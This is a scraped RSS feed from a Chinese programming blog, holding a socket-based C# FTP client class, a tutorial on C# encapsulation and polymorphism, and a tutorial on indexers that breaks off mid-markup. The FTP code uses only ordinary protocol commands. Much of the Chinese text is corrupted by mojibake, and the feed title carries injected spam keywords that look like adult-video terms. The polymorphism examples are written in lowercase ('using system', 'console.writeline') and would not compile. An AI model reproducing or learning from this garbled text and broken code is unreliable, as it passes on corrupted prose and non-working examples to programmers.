??xml version="1.0" encoding="utf-8" standalone="yes"?>婷婷久久免费视频,久久久久久久国产精品视频,欧美国产日本韩http://www.aygfsteel.com/zengke/category/16330.htmlzh-cnMon, 03 Sep 2007 06:09:37 GMTMon, 03 Sep 2007 06:09:37 GMT60.NET下的FTP上传、下载文件操作类http://www.aygfsteel.com/zengke/articles/142167.htmlSun, 02 Sep 2007 17:34:00 GMThttp://www.aygfsteel.com/zengke/articles/142167.htmlhttp://www.aygfsteel.com/zengke/comments/142167.htmlhttp://www.aygfsteel.com/zengke/articles/142167.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/142167.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/142167.html.NET下的FTP上传、下载文件操作类

基本原理是先徏立Socketq接Q然后发h命o(h)和取回应{码。编码方式采用Encoding ASCII = Encoding.Default;来支持中文文件名?/span>

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.IO;

namespace PMTSS.Common
{
 /// <summary>
 /// FTP 操作c?br />  /// </summary>
 public class FTP
 {
  private string strRemoteHost;
  private int strRemotePort;
  private string strRemotePath;
  private string strRemoteUser;
  private string strRemotePass;
  private Boolean bConnected;

  #region 内部变量
  /// <summary>
  /// 服务器返回的应答信息(包含应答?
  /// </summary>
  private string strMsg;
  /// <summary>
  /// 服务器返回的应答信息(包含应答?
  /// </summary>
  private string strReply;
  /// <summary>
  /// 服务器返回的应答?br />   /// </summary>
  private int iReplyCode;
  /// <summary>
  /// q行控制q接的socket
  /// </summary>
  private Socket socketControl;
  /// <summary>
  /// 传输模式
  /// </summary>
  private TransferType trType;
  /// <summary>
  /// 传输模式:二进制类型、ASCIIcd
  /// </summary>
  public enum TransferType
  {
   /// <summary>
   /// Binary
   /// </summary>
   Binary,
   /// <summary>
   /// ASCII
   /// </summary>
   ASCII
  };

  /// <summary>
  /// 接收和发送数据的~冲?br />   /// </summary>
  private static int BLOCK_SIZE = 512;
  Byte[] buffer = new Byte[ BLOCK_SIZE];
  /// <summary>
  /// ~码方式
  /// </summary>
  Encoding ASCII = Encoding.Default;
  #endregion

  #region 内部函数

  #region 构造函?br />   /// <summary>
  /// ~省构造函?br />   /// </summary>
  public FTP()
  {
   strRemoteHost  = "";
   strRemotePath  = "";
   strRemoteUser  = "";
   strRemotePass  = "";
   strRemotePort  = 21;
   bConnected     = false;
  }

  /// <summary>
  /// 构造函?br />   /// </summary>
  /// <param name="remoteHost"></param>
  /// <param name="remotePath"></param>
  /// <param name="remoteUser"></param>
  /// <param name="remotePass"></param>
  /// <param name="remotePort"></param>
  public FTP( string remoteHost, string remotePath, string remoteUser, string remotePass, int remotePort )
  {
   strRemoteHost  = remoteHost;
   strRemotePath  = remotePath;
   strRemoteUser  = remoteUser;
   strRemotePass  = remotePass;
   strRemotePort  = remotePort;
   Connect();
  }
  public FTP( string remoteHost, string remotePath, string remoteUser, string remotePass)
  {
   strRemoteHost  = remoteHost;
   strRemotePath  = remotePath;
   strRemoteUser  = remoteUser;
   strRemotePass  = remotePass;
   strRemotePort  = 21;
   Connect();
  }
  #endregion

  #region 登陆
  /// <summary>
  /// FTP服务器IP地址
  /// </summary>
 
  public string RemoteHost
  {
   get
   {
    return strRemoteHost;
   }
   set
   {
    strRemoteHost = value;
   }
  }
  /// <summary>
  /// FTP服务器端?br />   /// </summary>
  public int RemotePort
  {
   get
   {
    return strRemotePort;
   }
   set
   {
    strRemotePort = value;
   }
  }
  /// <summary>
  /// 当前服务器目?br />   /// </summary>
  public string RemotePath
  {
   get
   {
    return strRemotePath;
   }
   set
   {
    strRemotePath = value;
   }
  }
  /// <summary>
  /// d用户账号
  /// </summary>
  public string RemoteUser
  {
   set
   {
    strRemoteUser = value;
   }
  }
  /// <summary>
  /// 用户d密码
  /// </summary>
  public string RemotePass
  {
   set
   {
    strRemotePass = value;
   }
  }

  /// <summary>
  /// 是否d
  /// </summary>
  public bool Connected
  {
   get
   {
    return bConnected;
   }
  }
  #endregion

  #region 链接
  /// <summary>
  /// 建立q接
  /// </summary>
  public void Connect()
  {
   socketControl = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
   IPEndPoint ep = new IPEndPoint(IPAddress.Parse(RemoteHost), strRemotePort);
   // 链接
   try
   {
    socketControl.Connect(ep);
   }
   catch(Exception)
   {
    throw new IOException("Couldn't connect to remote server");
   }

   // 获取应答?br />    ReadReply();
   if(iReplyCode != 220)
   {
    DisConnect();
    throw new IOException(strReply.Substring(4));
   }

   // 登陆
   SendCommand("USER "+strRemoteUser);
   if( !(iReplyCode == 331 || iReplyCode == 230) )
   {
    CloseSocketConnect();//关闭q接
    throw new IOException(strReply.Substring(4));
   }
   if( iReplyCode != 230 )
   {
    SendCommand("PASS "+strRemotePass);
    if( !(iReplyCode == 230 || iReplyCode == 202) )
    {
     CloseSocketConnect();//关闭q接
     throw new IOException(strReply.Substring(4));
    }
   }
   bConnected = true;

   // 切换到目?br />    ChDir(strRemotePath);
  }


  /// <summary>
  /// 关闭q接
  /// </summary>
  public void DisConnect()
  {
   if( socketControl != null )
   {
    SendCommand("QUIT");
   }
   CloseSocketConnect();
  }

  #endregion

  #region 传输模式

  /// <summary>
  /// 讄传输模式
  /// </summary>
  /// <param name="ttType">传输模式</param>
  public void SetTransferType(TransferType ttType)
  {
   if(ttType == TransferType.Binary)
   {
    SendCommand("TYPE I");//binarycd传输
   }
   else
   {
    SendCommand("TYPE A");//ASCIIcd传输
   }
   if (iReplyCode != 200)
   {
    throw new IOException(strReply.Substring(4));
   }
   else
   {
    trType = ttType;
   }
  }


  /// <summary>
  /// 获得传输模式
  /// </summary>
  /// <returns>传输模式</returns>
  public TransferType GetTransferType()
  {
   return trType;
  }

  #endregion

  #region 文g操作
  /// <summary>
  /// 获得文g列表
  /// </summary>
  /// <param name="strMask">文g名的匚w字符?lt;/param>
  /// <returns></returns>
  public string[] Dir(string strMask)
  {
   // 建立链接
   if(!bConnected)
   {
    Connect();
   }

   //建立q行数据q接的socket
   Socket socketData = CreateDataSocket();

   //传送命?br />    SendCommand("NLST " + strMask);

   //分析应答代码
   if(!(iReplyCode == 150 || iReplyCode == 125 || iReplyCode == 226))
   {
    throw new IOException(strReply.Substring(4));
   }

   //获得l果
   strMsg = "";
   while(true)
   {
    int iBytes = socketData.Receive(buffer, buffer.Length, 0);
    strMsg += ASCII.GetString(buffer, 0, iBytes);
    if(iBytes < buffer.Length)
    {
     break;
    }
   }
   char[] seperator = {'\n'};
   string[] strsFileList = strMsg.Split(seperator);
   socketData.Close();//数据socket关闭时也?x)有q回?br />    if(iReplyCode != 226)
   {
    ReadReply();
    if(iReplyCode != 226)
    {
     throw new IOException(strReply.Substring(4));
    }
   }
   return strsFileList;
  }


  /// <summary>
  /// 获取文g大小
  /// </summary>
  /// <param name="strFileName">文g?lt;/param>
  /// <returns>文g大小</returns>
  private long GetFileSize(string strFileName)
  {
   if(!bConnected)
   {
    Connect();
   }
   SendCommand("SIZE " + Path.GetFileName(strFileName));
   long lSize=0;
   if(iReplyCode == 213)
   {
    lSize = Int64.Parse(strReply.Substring(4));
   }
   else
   {
    throw new IOException(strReply.Substring(4));
   }
   return lSize;
  }


  /// <summary>
  /// 删除
  /// </summary>
  /// <param name="strFileName">待删除文件名</param>
  public void Delete(string strFileName)
  {
   if(!bConnected)
   {
    Connect();
   }
   SendCommand("DELE "+strFileName);
   if(iReplyCode != 250)
   {
    throw new IOException(strReply.Substring(4));
   }
  }


  /// <summary>
  /// 重命?如果新文件名与已有文仉?覆盖已有文?
  /// </summary>
  /// <param name="strOldFileName">旧文件名</param>
  /// <param name="strNewFileName">新文件名</param>
  public void Rename(string strOldFileName,string strNewFileName)
  {
   if(!bConnected)
   {
    Connect();
   }
   SendCommand("RNFR "+strOldFileName);
   if(iReplyCode != 350)
   {
    throw new IOException(strReply.Substring(4));
   }
   //  如果新文件名与原有文仉?覆盖原有文?br />    SendCommand("RNTO "+strNewFileName);
   if(iReplyCode != 250)
   {
    throw new IOException(strReply.Substring(4));
   }
  }
  #endregion

  #region 上传和下?br />   /// <summary>
  /// 下蝲一Ҏ(gu)?br />   /// </summary>
  /// <param name="strFileNameMask">文g名的匚w字符?lt;/param>
  /// <param name="strFolder">本地目录(不得以\l束)</param>
  public void Get(string strFileNameMask,string strFolder)
  {
   if(!bConnected)
   {
    Connect();
   }
   string[] strFiles = Dir(strFileNameMask);
   foreach(string strFile in strFiles)
   {
    if(!strFile.Equals(""))//一般来说strFiles的最后一个元素可能是I字W串
    {
     Get(strFile,strFolder,strFile);
    }
   }
  }


  /// <summary>
  /// 下蝲一个文?br />   /// </summary>
  /// <param name="strRemoteFileName">要下载的文g?lt;/param>
  /// <param name="strFolder">本地目录(不得以\l束)</param>
  /// <param name="strLocalFileName">保存在本地时的文件名</param>
  public void Get(string strRemoteFileName,string strFolder,string strLocalFileName)
  {
   if(!bConnected)
   {
    Connect();
   }
   SetTransferType(TransferType.Binary);
   if (strLocalFileName.Equals(""))
   {
    strLocalFileName = strRemoteFileName;
   }
   if(!File.Exists(strLocalFileName))
   {
    Stream st = File.Create(strLocalFileName);
    st.Close();
   }
   FileStream output = new
    FileStream(strFolder + "\\" + strLocalFileName,FileMode.Create);
   Socket socketData = CreateDataSocket();
   SendCommand("RETR " + strRemoteFileName);
   if(!(iReplyCode == 150 || iReplyCode == 125
    || iReplyCode == 226 || iReplyCode == 250))
   {
    throw new IOException(strReply.Substring(4));
   }
   while(true)
   {
    int iBytes = socketData.Receive(buffer, buffer.Length, 0);
    output.Write(buffer,0,iBytes);
    if(iBytes <= 0)
    {
     break;
    }
   }
   output.Close();
   if (socketData.Connected)
   {
    socketData.Close();
   }
   if(!(iReplyCode == 226 || iReplyCode == 250))
   {
    ReadReply();
    if(!(iReplyCode == 226 || iReplyCode == 250))
    {
     throw new IOException(strReply.Substring(4));
    }
   }
  }


  /// <summary>
  /// 上传一Ҏ(gu)?br />   /// </summary>
  /// <param name="strFolder">本地目录(不得以\l束)</param>
  /// <param name="strFileNameMask">文g名匹配字W?可以包含*?)</param>
  public void Put(string strFolder,string strFileNameMask)
  {
   string[] strFiles = Directory.GetFiles(strFolder,strFileNameMask);
   foreach(string strFile in strFiles)
   {
    //strFile是完整的文g?包含路径)
    Put(strFile);
   }
  }


  /// <summary>
  /// 上传一个文?br />   /// </summary>
  /// <param name="strFileName">本地文g?lt;/param>
  public void Put(string strFileName)
  {
   if(!bConnected)
   {
    Connect();
   }
   Socket socketData = CreateDataSocket();
   SendCommand("STOR "+Path.GetFileName(strFileName));
   if( !(iReplyCode == 125 || iReplyCode == 150) )
   {
    throw new IOException(strReply.Substring(4));
   }
   FileStream input = new
    FileStream(strFileName,FileMode.Open);
   int iBytes = 0;
   while ((iBytes = input.Read(buffer,0,buffer.Length)) > 0)
   {
    socketData.Send(buffer, iBytes, 0);
   }
   input.Close();
   if (socketData.Connected)
   {
    socketData.Close();
   }
   if(!(iReplyCode == 226 || iReplyCode == 250))
   {
    ReadReply();
    if(!(iReplyCode == 226 || iReplyCode == 250))
    {
     throw new IOException(strReply.Substring(4));
    }
   }
  }

  #endregion

  #region 目录操作
  /// <summary>
  /// 创徏目录
  /// </summary>
  /// <param name="strDirName">目录?lt;/param>
  public void MkDir(string strDirName)
  {
   if(!bConnected)
   {
    Connect();
   }
   SendCommand("MKD "+strDirName);
   if(iReplyCode != 257)
   {
    throw new IOException(strReply.Substring(4));
   }
  }


  /// <summary>
  /// 删除目录
  /// </summary>
  /// <param name="strDirName">目录?lt;/param>
  public void RmDir(string strDirName)
  {
   if(!bConnected)
   {
    Connect();
   }
   SendCommand("RMD "+strDirName);
   if(iReplyCode != 250)
   {
    throw new IOException(strReply.Substring(4));
   }
  }


  /// <summary>
  /// 改变目录
  /// </summary>
  /// <param name="strDirName">新的工作目录?lt;/param>
  public void ChDir(string strDirName)
  {
   if(strDirName.Equals(".") || strDirName.Equals(""))
   {
    return;
   }
   if(!bConnected)
   {
    Connect();
   }
   SendCommand("CWD "+strDirName);
   if(iReplyCode != 250)
   {
    throw new IOException(strReply.Substring(4));
   }
   this.strRemotePath = strDirName;
  }

  #endregion

  /// <summary>
  /// 一行应{字W串记录在strReply和strMsg
  /// 应答码记录在iReplyCode
  /// </summary>
  private void ReadReply()
  {
   strMsg = "";
   strReply = ReadLine();
   iReplyCode = Int32.Parse(strReply.Substring(0,3));
  }

  /// <summary>
  /// 建立q行数据q接的socket
  /// </summary>
  /// <returns>数据q接socket</returns>
  private Socket CreateDataSocket()
  {
   SendCommand("PASV");
   if(iReplyCode != 227)
   {
    throw new IOException(strReply.Substring(4));
   }
   int index1 = strReply.IndexOf('(');
   int index2 = strReply.IndexOf(')');
   string ipData =
    strReply.Substring(index1+1,index2-index1-1);
   int[] parts = new int[6];
   int len = ipData.Length;
   int partCount = 0;
   string buf="";
   for (int i = 0; i < len && partCount <= 6; i++)
   {
    char ch = Char.Parse(ipData.Substring(i,1));
    if (Char.IsDigit(ch))
     buf+=ch;
    else if (ch != ',')
    {
     throw new IOException("Malformed PASV strReply: " +
      strReply);
    }
    if (ch == ',' || i+1 == len)
    {
     try
     {
      parts[partCount++] = Int32.Parse(buf);
      buf="";
     }
     catch (Exception)
     {
      throw new IOException("Malformed PASV strReply: " +
       strReply);
     }
    }
   }
   string ipAddress = parts[0] + "."+ parts[1]+ "." +
    parts[2] + "." + parts[3];
   int port = (parts[4] << 8) + parts[5];
   Socket s = new
    Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
   IPEndPoint ep = new
    IPEndPoint(IPAddress.Parse(ipAddress), port);
   try
   {
    s.Connect(ep);
   }
   catch(Exception)
   {
    throw new IOException("Can't connect to remote server");
   }
   return s;
  }


  /// <summary>
  /// 关闭socketq接(用于d以前)
  /// </summary>
  private void CloseSocketConnect()
  {
   if(socketControl!=null)
   {
    socketControl.Close();
    socketControl = null;
   }
   bConnected = false;
  }

  /// <summary>
  /// dSocketq回的所有字W串
  /// </summary>
  /// <returns>包含应答码的字符串行</returns>
  private string ReadLine()
  {
   while(true)
   {
    int iBytes = socketControl.Receive(buffer, buffer.Length, 0);
    strMsg += ASCII.GetString(buffer, 0, iBytes);
    if(iBytes < buffer.Length)
    {
     break;
    }
   }
   char[] seperator = {'\n'};
   string[] mess = strMsg.Split(seperator);
   if(strMsg.Length > 2)
   {
    strMsg = mess[mess.Length-2];
    //seperator[0]?0,换行W是?3?l成?分隔?0后面虽没有字W串,
    //但也?x)分配?f)I字W串l后?也是最后一?字符串数l?
    //所以最后一个mess是没用的I字W串
    //但ؓ(f)什么不直接取mess[0],因ؓ(f)只有最后一行字W串应答码与信息之间有空?br />    }
   else
   {
    strMsg = mess[0];
   }
   if(!strMsg.Substring(3,1).Equals(" "))//q回字符串正的是以应答??20开?后面接一I格,再接问候字W串)
   {
    return ReadLine();
   }
   return strMsg;
  }


  /// <summary>
  /// 发送命令ƈ获取应答码和最后一行应{字W串
  /// </summary>
  /// <param name="strCommand">命o(h)</param>
  private void SendCommand(string strCommand)
  {
   Byte[] cmdBytes = ASCII.GetBytes((strCommand + "\r\n").ToCharArray());
   socketControl.Send(cmdBytes, cmdBytes.Length, 0);
   ReadReply();
  }

  #endregion
 }
}



2007-09-03 01:34 发表评论
]]>
关于C#面向对象三个特征:l承,装,多态的说明http://www.aygfsteel.com/zengke/articles/108306.htmlTue, 03 Apr 2007 17:02:00 GMThttp://www.aygfsteel.com/zengke/articles/108306.htmlhttp://www.aygfsteel.com/zengke/comments/108306.htmlhttp://www.aygfsteel.com/zengke/articles/108306.html#Feedback1http://www.aygfsteel.com/zengke/comments/commentRss/108306.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/108306.html装优点:
1.好的装能减耦合.
2.cȝ内部的实现可以自由改?
3.一个类有更清楚的接?
data hiding(数据隐藏):装的一个最有用的Ş式是数据隐藏.一个类的数据表C个对象的状?
修饰W支持封?
private:只有cLw能存取.
protected:cdzcd以存?
internal:只有同一个项目中的类可以存取.
protected internal:是protected和internal的结?
public:完全存取.
other encapsulating strategy:(其他装{略)属性和索引器的目的是封装一个类的细节和l类的用h供一个公q接口.
装和承的关系:
装的意思是包容(聚合),cMcM间的关系?has a".一个类里面有另一个类.
l承,cMcM间的关系?is a".

多?polymorphism):是怎样重蝲一个虚拟类.多态是面向对象的重要概?
implementing polymorphism(实现多?:
例子:
using system;
public class website
{
  public string sitename;
  public string url;
  public string description;

  public website()
  {
  }

  public website( string strsitename, string strurl, string strdescription )
  {
    sitename  = strsitename;
    url     = strurl;
    description = strdescription;
  }

  public override string tostring()
  {
    return sitename + ", " +
        url   + ", " +
        description;
  }
}

abstract public class contact
{
  public virtual string updatenotify()
  {
    return "web site change notification";
  }
}

public class customer : contact
{
  public new string updatenotify()
  {
    return @"
this is to let you know your
favorite site, financial times,
has been updated with new links";
  }
}

public class siteowner : contact
{
  website mysite;

  public siteowner(string aname, website asite)
  {
    mysite = new website(asite.sitename,
               asite.url,
               asite.description);
  }

  public new string updatenotify()
  {
    return @"
this is to let you know your site, " + "\n" +
mysite.sitename + @", has been added as
a link to financial times.";
  }
}

public class test
{
  public static void main()
  {
    website lefin = new website("le financier",
                  "http://www.lefinancier.com",
                  "fancy financial site");

    contact[] contacts = new contact[2];

    contacts[0] = new siteowner("pierre doe", lefin);
    contacts[1] = new customer();

    foreach (contact poc in contacts)
    {
      if (poc is siteowner)
      {
        console.writeline("message: {0}\n",
         ((siteowner)poc).updatenotify());
      }
      else
      {
        console.writeline("message: {0}\n",
         ((customer)poc).updatenotify());
      }
    }
  }
}
在例子中,contactcL个虚拟方?有两个派生类分别实现.使用?new"关键?
可以有更有效和优雅的Ҏ(gu),实现?是多?
例子:
using system;
abstract public class contact
{
  public virtual string updatenotify()
  {
    return "web site change notification";
  }
}

public class customer : contact
{
  public override string updatenotify()
  {
    return @"
this is to let you know your
favorite site, financial times,
has been updated with new links";
  }
}

public class siteowner : contact
{
  string sitename;

  public siteowner(string sname)
  {
    sitename = sname;
  }

  public override string updatenotify()
  {
    return @"
this is to let you know your site, " + "\n" +
sitename + @", has been added as
a link to financial times.";
  }
}
public class test
{
  public static void main()
  {
    contact[] contacts = new contact[2];

    contacts[0] = new siteowner("le financier");
    contacts[1] = new customer();

    foreach (contact poc in contacts)
    {
      console.writeline("message: {0}\n",
               poc.updatenotify());
    }
  }
}

例子?zcȝ"override"实现了多?
虚拟Ҏ(gu)是允许多态工作的基类的方??override"修饰W说?能被zc重?虚拟Ҏ(gu)和抽象方法的不同

?虚拟Ҏ(gu)有实?抽象Ҏ(gu)没有.抽象Ҏ(gu),隐式说明是虚?必须被重?虚拟Ҏ(gu)不必被重?

多?必须是虚拟方?而且,Ҏ(gu)的签名必M?包括Ҏ(gu)名称,参数,和参数类?
例子:
abstract public class contact
{
  public virtual string updatenotify()
  {
    return "web site change notification";
  }
}

public class customer : contact
{
  public override string sendmail() {}// error

  public override string updatenotify(int number) {}// error
}
例子?sendmail不是虚拟Ҏ(gu),故错?updatenotify,带有不同的参?故也错误.

new ?override 修饰W?都可以实现新的方??new 实现的是zcL的方?
例子:
using system;

abstract public class contact
{
  public virtual string updatenotify()
  {
    return "web site change notification";
  }
}

public class customer : contact
{
  public new string updatenotify()
  {
    return @"
this is to let you know your
favorite site, financial times,
has been updated with new links";
  }
}

public class siteowner : contact
{
  string sitename;

  public siteowner(string sname)
  {
    sitename = sname;
  }

  public override string updatenotify()
  {
    return @"
this is to let you know your site, " + "\n" +
sitename + @", has been added as
a link to financial times.";
  }
}

public class test
{
  public static void main()
  {
    contact[] contacts = new contact[2];

    contacts[0] = new siteowner("le financier");
    contacts[1] = new customer();

    foreach (contact poc in contacts)
    {
      console.writeline("message: {0}\n",
               poc.updatenotify());
    }
  }
}
l果?
message:
this is to let you know your site,
le financier, has been added as
a link to financial times.

message: web site change notification
例子?customer ?new"实现新的Ҏ(gu),但是,在运行是不是多?仍然调用基类的方?

most-derived implementations(多重z实现)

polymorphic properties(多态的属?:c#允许,属性的多态实?
例子:
using system;

public class sitestats
{
  public int numberofvisits = 0;
}

abstract public class contact
{
  protected string name;

  public virtual string name
  {
    get
    {
      return name;
    }
    set
    {
      name = value;
    }
  }
}

public class customer : contact
{
  sitestats mystats = new sitestats();

  public override string name
  {
    get
    {
      mystats.numberofvisits++;
      console.writeline("number of visits: {0}",
               mystats.numberofvisits);

      return name;
    }
    set
    {
      base.name = value;
      mystats.numberofvisits = 0;
      console.writeline("name: {0}", name);
    }
  }
}

public class test
{
  public static void main()
  {
    contact mycontact = new customer();
    mycontact.name = "george";
  }
}
例子?抽象c?有属性name,zc重载实C属?

polymorphic indexers(多态的索引?:索引器的多?
例子:
using system;
using system.collections;
public class sitelist
{
  protected sortedlist sites;

  public sitelist()
  {
    sites = new sortedlist();
  }

  public int nextindex
  {
    get {
      return sites.count;
    }
  }

  public virtual string this[int index]
  {
    get
    {
      return (string) sites.getbyindex(index);
    }
    set
    {
      sites[index] = value;
    }
  }
}

public class financialsitelist : sitelist
{
  public override string this[int index]
  {
    get
    {
      console.writeline("financialsitelist indexer get");
      if (index > sites.count)
        return (string)null;

      return base[index];
    }
    set
    {
      console.writeline("financialsitelist indexer set");
      base[index] = value;
    }
  }
}

class sitemanager
{
  sitelist sites = new sitelist();

  public static void main()
  {
    sitemanager mgr = new sitemanager();

    mgr.sites = new financialsitelist();

    mgr.sites[mgr.sites.nextindex] = "great site!";

    console.writeline("site: {0}",
      mgr.sites[0].tostring());
  }
}
例子?基类的烦引器?virtual",zc重载了索引?


2007-04-04 01:02 发表评论
]]>
索引指示?/title><link>http://www.aygfsteel.com/zengke/articles/107154.html</link><dc:creator>曄</dc:creator><author>曄</author><pubDate>Thu, 29 Mar 2007 03:08:00 GMT</pubDate><guid>http://www.aygfsteel.com/zengke/articles/107154.html</guid><wfw:comment>http://www.aygfsteel.com/zengke/comments/107154.html</wfw:comment><comments>http://www.aygfsteel.com/zengke/articles/107154.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/zengke/comments/commentRss/107154.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/zengke/services/trackbacks/107154.html</trackback:ping><description><![CDATA[ <font size="2"> <strong>本节译ְ介绍C#的烦引指C器Q其目的包括Q?/strong> <br />1.了解什么是索引指示?<br /><br />2.如何实现索引指示?<br /><br />3.重蝲索引指示?<br /><br />4.了解如何实现多参数的索引指示?<br /><br />索引指示器ƈ不难使用。它们的用法跟数l相同。在一个类内部Q你可以按照你的意愿来管理一l数据的集合。这些对象可以是cL员的有限集合Q也可以是另外一个数l,或者是一些复杂的数据l构。不考虑cȝ内部实现Q其数据可以通过使用索引指示器来获得。如下是一个例子:(x) <br /><br /></font> <table style="FONT-SIZE: 10pt" width="100%" bgcolor="#f7f3f7"> <tbody> <tr> <td> <font color="#000084">1.清单 11-1. 索引指示器的例子QIntIndexer.cs</font> </td> </tr> </tbody> </table> <br /> <table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" width="580" bordercolorlight="#000000" border="1"> <tbody> <tr> <td class="code" bgcolor="#e6e6e6"> <font size="2">using System;<br />/// <summary><br />/// A simple indexer example.<br />/// </summary><br />class IntIndexer<br />{<br />private string[] myData;<br /><br />public IntIndexer(int size)<br />{<br />myData = new string[size];<br />for (int i=0; i < size; i++)<br />{<br />myData[i] = "empty";<br />}<br />}<br />public string this[int pos]<br />{<br />get<br />{<br />return myData[pos];<br />}<br />set<br />{<br />myData[pos] = value;<br />}<br />}<br /><br />static void Main(string[] args)<br />{<br />int size = 10;<br />IntIndexer myInd = new IntIndexer(size);<br />myInd[9] = "Some Value";<br />myInd[3] = "Another Value";<br />myInd[5] = "Any Value";<br />Console.WriteLine("\nIndexer Output\n");<br />for (int i=0; i < size; i++)<br />{<br />Console.WriteLine("myInd[{0}]: {1}", i, myInd[i]);<br />}<br />}<br />}</font> </td> </tr> </tbody> </table> <br /> <table width="100%" bgcolor="#f7f3f7"> <tbody> <tr> <td> <i> <font size="2">说明</font> </i> </td> </tr> </tbody> </table> <br /> <font size="2">1.清单 11-1演示了如何实C个烦引指C器Q?IntIndexercL个名为myData的字W串数组Q该数组是私有成员,因而其外部成员是看不见的。该数组是在构造函Cq行初始化的Q该构造函数带有一个整型size参数Q用来初始化myData数组Q初始化?把单?empty"作ؓ(f)每个数组元素的倹{?<br /><br />2.IntIndexercȝ下一成员是烦引指C器QIndexerQ,由关键字this和方括号[int pos]标识出来。该成员带有一个位|参数pos。正如你已经猜测刎ͼIndexer的实现同属性一栗Indexer有get 和set讉K操作Q就同属性中的用法一栗烦引指C器QindexerQ返回一个字W串Q在定义索引指示器时Qstringq个cd名标志着其返回类型ؓ(f)字符串类型?<br /><br />3.Main()Ҏ(gu)完成如下事情Q初始化一个新的IntIndexer对象Q添加一些|q且打印出结果。其输出l果如下Q?<br /><br /></font> <table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" bordercolorlight="#000000" border="1"> <tbody> <tr> <td class="code"> <font size="2">Indexer Output<br /><br />myInd[0]: empty<br />myInd[1]: empty<br />myInd[2]: empty<br />myInd[3]: Another Value<br />myInd[4]: empty<br />myInd[5]: Any Value<br />myInd[6]: empty<br />myInd[7]: empty<br />myInd[8]: empty<br />myInd[9]: Some Value</font> </td> </tr> </tbody> </table> <br /> <font size="2">4.在不程序语a中,通常都是使用整数作ؓ(f)下标来访问作为数l元素的Q但C#的烦引指C器不仅能够做到q一点,而且q能够更q一步?定义索引指示器时Q可以带有多个参敎ͼ每个参数的类型可以不同。添加的参数由逗号隔开Q同Ҏ(gu)中的的参数表一栗烦引指C器的合法的参数cd包括Q整型,枚Dcd和字W串。另外,索引指示器也可以被重载。在清单 11-2中,我们修改了前面的E序Q以便用来重载烦引指C器 Q从而可以接受不同类型的参数?<br /><br /></font> <table style="FONT-SIZE: 10pt" width="100%" bgcolor="#f7f3f7"> <tbody> <tr> <td> <font color="#000084">2.清单 11-2. 重蝲的烦引指C器: OvrIndexer.cs</font> </td> </tr> </tbody> </table> <br /> <table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" width="580" bordercolorlight="#000000" border="1"> <tbody> <tr> <td class="code" bgcolor="#e6e6e6"> <font size="2">using System;<br />/// <summary><br />/// Implements overloaded indexers.<br />/// </summary><br />class OvrIndexer<br />{<br />private string[] myData;<br />private int arrSize;<br />public OvrIndexer(int size)<br />{<br />arrSize = size;<br />myData = new string[size];<br />for (int i=0; i < size; i++)<br />{<br />myData[i] = "empty";<br />}<br />}<br /><br />public string this[int pos]<br />{<br />get<br />{<br />return myData[pos];<br />}<br />set<br />{<br />myData[pos] = value;<br />}<br />}<br /><br />public string this[string data]<br />{<br />get<br />{<br />int count = 0;<br />for (int i=0; i < arrSize; i++)<br />{<br />if (myData[i] == data)<br />{<br />count++;<br />}<br />}<br />return count.ToString();<br />}<br />set<br />{<br />for (int i=0; i < arrSize; i++)<br />{<br />if (myData[i] == data)<br />{<br />myData[i] = value;<br />}<br />}<br />}<br />}<br /><br />static void Main(string[] args)<br />{<br />int size = 10;<br />OvrIndexer myInd = new OvrIndexer(size);<br />myInd[9] = "Some Value";<br />myInd[3] = "Another Value";<br />myInd[5] = "Any Value";<br />myInd["empty"] = "no value";<br />Console.WriteLine("\nIndexer Output\n");<br />for (int i=0; i < size; i++)<br />{<br />Console.WriteLine("myInd[{0}]: {1}", i, myInd[i]);<br />}<br />Console.WriteLine("\nNumber of \"no value\" entries: {0}", myInd["no value"]);<br />}<br />}</font> </td> </tr> </tbody> </table> <br /> <table width="100%" bgcolor="#f7f3f7"> <tbody> <tr> <td> <i> <font size="2">说明</font> </i> </td> </tr> </tbody> </table> <br /> <font size="2">1.清单 11-2 演示了如何重载烦引指C器?<br /><br />带有整型参数pos的第一个烦引指C器同清?1-1中的一P但是Q该E序中有个带有字W串参数的新的烦引指C器。对于这个新的烦引指C器来说Q其get操作q回的是同参数值data相匹配的成员的个数?Set操作把数l中同参数值匹配的元素D变ؓ(f)value倹{?<br /><br />2.在清?1-2的Main()Ҏ(gu)中,演示了重载的索引指示器,它接受字W串参数?<br /><br />该重载的索引指示器调用了set操作Q通过使用下列命o(h)Q?myInd["empty"] = "no value"; set操作?no value"DlmyInd cM所有的gؓ(f)"empty"的成员?myIndcȝ每个成员都已l输Z后,把最后一个数据输出到控制収ͼ该数据统计数l成员gؓ(f)"no value"的个数?使用如下命o(h)QmyInd["no value"]Q就可调用get操作。输出结果如下:(x) <br /><br /></font> <table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" bordercolorlight="#000000" border="1"> <tbody> <tr> <td class="code"> <font size="2">Indexer Output<br />myInd[0]: no value<br />myInd[1]: no value<br />myInd[2]: no value<br />myInd[3]: Another Value<br />myInd[4]: no value<br />myInd[5]: Any Value<br />myInd[6]: no value<br />myInd[7]: no value<br />myInd[8]: no value<br />myInd[9]: Some Value<br /><br />Number of "no value" entries: 7</font> </td> </tr> </tbody> </table> <br /> <font size="2">3.在清?11-2中,两个索引指示器共处在同一个类中, q是可以的,因ؓ(f)它们有不同的特征?<br /><br />一个烦引指C器的特征是通过索引指示器参数表中的参数个数和类型表现出来的。类能够辨别出其特征Qƈ调用相应的烦引指C器。带有多个参数的索引指示器可以用如下格式来实玎ͼ(x) <br /><br /></font> <table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" width="580" bordercolorlight="#000000" border="1"> <tbody> <tr> <td class="code" bgcolor="#e6e6e6"> <font size="2">public object this[int param1, ..., int paramN]<br />{<br />get<br />{<br />// process and return some class data<br />}<br />set<br />{<br />// process and assign some class data<br />}<br />}</font> </td> </tr> </tbody> </table> <br /> <font size="2"> <b>结</b> <br 